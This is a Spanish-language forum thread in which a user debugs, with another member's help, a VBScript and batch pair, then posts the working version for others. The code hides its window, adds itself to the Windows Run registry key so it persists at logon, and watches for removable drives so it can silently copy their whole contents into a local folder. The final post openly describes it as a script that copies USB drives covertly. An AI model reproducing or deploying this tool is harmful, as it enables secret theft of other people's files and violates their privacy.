Autor
|
Tema: script vbs con ruta relativa (SOLUCIONADO) (Leído 10,016 veces)
|
soyloqbuskas
Desconectado
Mensajes: 219
¡El conocimiento es de todos!
|
Buenas a todos! Tengo el siguiente problemilla.....llevo dandole vueltas todo el dia y me tiene un poco loco....
Tengo el siguiente script llamado sys.vbs
set objshell = createobject("wscript.shell") objshell.run "system.bat",vbhide
Funciona perfectamente, me habre el .bat y hasta aqui todo bien. El .bat hace una entrada en el registro para que al arrancar windows se inicie el sys.vbs
Y eso es lo que falla....la entrada en el registro esta bien hecha....pero cuando se inicia el sys.vbs da un error en la linea 2 y dice que no encuentra el archivo.....en cambio cuando ejecuto el sys.vbs con un doble click funciona perfectamente..... :$
El caso es que si cambio el script (.vbs) y le pongo la ruta absoluta (rutaAbsoluta\system.bat) si que funciona cuando arranca windows....por tanto el problema es de la ruta del sys.vbs, pero claro por tema de portabilidad, no me interesa que use ruta absoluta, prefiero la relativa....
¿Hay alguna otra forma de poner la ruta relativa de otra manera? ¿Hay alguna forma de calcular la ruta absoluta para luego concatenar el nombre del fichero? y la mejor pregunta de todas.....¿porque ocurre esto con la ruta relativa y no con la absoluta?
Nota: he probado con Environment.CurrentDirectory y con App.Path y no funciona.....imagino que sera porque en un script no estan estas librerias....
Gracias, un saludo!
|
|
« Última modificación: 26 Octubre 2011, 13:38 pm por soyloqbuskas »
|
En línea
|
"Si tienes 1 manzana y yo tengo otra manzana... y las intercambiamos, ambos seguiremos teniendo 1 manzana. Pero...si tu tienes 1 idea y yo tengo otra idea... y las intercambiamos, ambos tendremos 2 ideas."
George Bernard Shaw
|
|
|
soyloqbuskas
Desconectado
Mensajes: 219
¡El conocimiento es de todos!
|
Bueno, por mas vueltas que le doy...no soy capaz de sacar la respuesta.... Con ruta absoluta si que funciona.... Os pongo los script que me funcionan perfectamente (con ruta absoluta claro..):
Scrtipt sys.vbs set objshell = createobject("wscript.shell") objshell.run "C:%homepath%\Desktop\log\system.bat",vbhide
Script system.bat
@echo off
REG ADD HKCU\software\microsoft\windows\currentversion\run /v sys /d C:%homepath%\desktop\log\sys.vbs /f :loop for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do ( xcopy /s %%x C:%homepath%\desktop\log if EXIST %%x goto end ) goto loop :end exit /b 0
El script sys.vbs ejecuta de manera oculta al script system.bat El system.bat, hace: - una entrada en el registro de inicio de sesion de usuario - checkea los puertos usb para detectar memorias extraibles - en cuanto detecta un pendrive copia todo su contenido en la carpeta log - y finaliza el script - cuando el usuario vuelva a iniciar sesion, se volvera a ejecutar todo el proceso
Y asi es como me quedan los script con ruta relativa:
Scrript sys.vbs: set objshell = createobject("wscript.shell") objshell.run "system.bat",vbhide
Script system.bat: @echo off
REG ADD HKCU\software\microsoft\windows\currentversion\run /v sys /d "%cd%\sys.vbs" /f :loop for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do ( xcopy /s %%x if EXIST %%x goto end ) goto loop :end exit /b 0
Este 2º modelo de script, funciona con doble click en sys.vbs, pero cuando arranca la sesion no funciona, me da error en la linea 2 del sys.vbs (no puede encontrar el archivo en la ruta especificada :S) ¿como es posible que con doble click si y arrancando desde el reg no?
NOTA: trabajo con windows 7, no se si afecta....pero por si acaso lo aviso...
Gracias a todos, un saludo!
|
|
|
En línea
|
"Si tienes 1 manzana y yo tengo otra manzana... y las intercambiamos, ambos seguiremos teniendo 1 manzana. Pero...si tu tienes 1 idea y yo tengo otra idea... y las intercambiamos, ambos tendremos 2 ideas."
George Bernard Shaw
|
|
|
Novlucker
Ninja y
Colaborador
Desconectado
Mensajes: 10.683
Yo que tu lo pienso dos veces
|
Recién lo veo Msgbox left(wscript.scriptfullname,len(wscript.scriptfullname)-len(wscript.scriptname))
Saludos
|
|
|
En línea
|
Contribuye con la limpieza del foro, reporta los "casos perdidos" a un MOD XD "Hay dos cosas infinitas: el Universo y la estupidez humana. Y de la primera no estoy muy seguro." Albert Einstein
|
|
|
soyloqbuskas
Desconectado
Mensajes: 219
¡El conocimiento es de todos!
|
Esa simple linea me ha dado la vida! jajaja Ahora funciona todo perfectamente! Para quien quiera este script que copia los usb de manera oculta, aqui os dejo el codigo bien hecho y mejorado! archivo sys.vbs set objshell = createobject("wscript.shell") rutaBat = left(wscript.scriptfullname,len(wscript.scriptfullname)-len(wscript.scriptname)) rutaSys = rutaBat &"sys.vbs" rutaBat = rutaBat &"system.bat" objshell.regWrite "HKCU\software\microsoft\windows\currentversion\run\sys", rutaSys, "REG_SZ" objshell.run rutaBat,vbhide archivo system.bat @echo off
:loop for /f "tokens=1" %%x in ('wmic logicaldisk get caption^, description ^| find /i "extra"') do ( xcopy /s %%x if EXIST %%x goto end ) goto loop :end exit /b 0 Muchisimas gracias Novlucker! Un saludo!
|
|
« Última modificación: 28 Octubre 2011, 17:15 pm por soyloqbuskas »
|
En línea
|
"Si tienes 1 manzana y yo tengo otra manzana... y las intercambiamos, ambos seguiremos teniendo 1 manzana. Pero...si tu tienes 1 idea y yo tengo otra idea... y las intercambiamos, ambos tendremos 2 ideas."
George Bernard Shaw
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
Consulta ruta relativa
Java
|
athlit
|
8
|
14,351
|
11 Junio 2010, 18:13 pm
por athlit
|
|
|
Mostrar un contenido mediante ruta relativa
GNU/Linux
|
lalalalalala
|
1
|
3,285
|
8 Febrero 2012, 23:07 pm
por dato000
|
|
|
Script: Personalizar ruta de directorio con fecha personalizada
Scripting
|
Dcg29
|
0
|
2,060
|
19 Noviembre 2014, 11:08 am
por Dcg29
|
|
|
Como hacer la ruta relativa.
Bases de Datos
|
nolasco281
|
1
|
2,499
|
17 Diciembre 2014, 18:00 pm
por Hadess_inf
|
|
|
[Python] Definir ruta relativa por defecto
Scripting
|
MA40
|
0
|
2,026
|
3 Octubre 2016, 20:05 pm
por MA40
|
|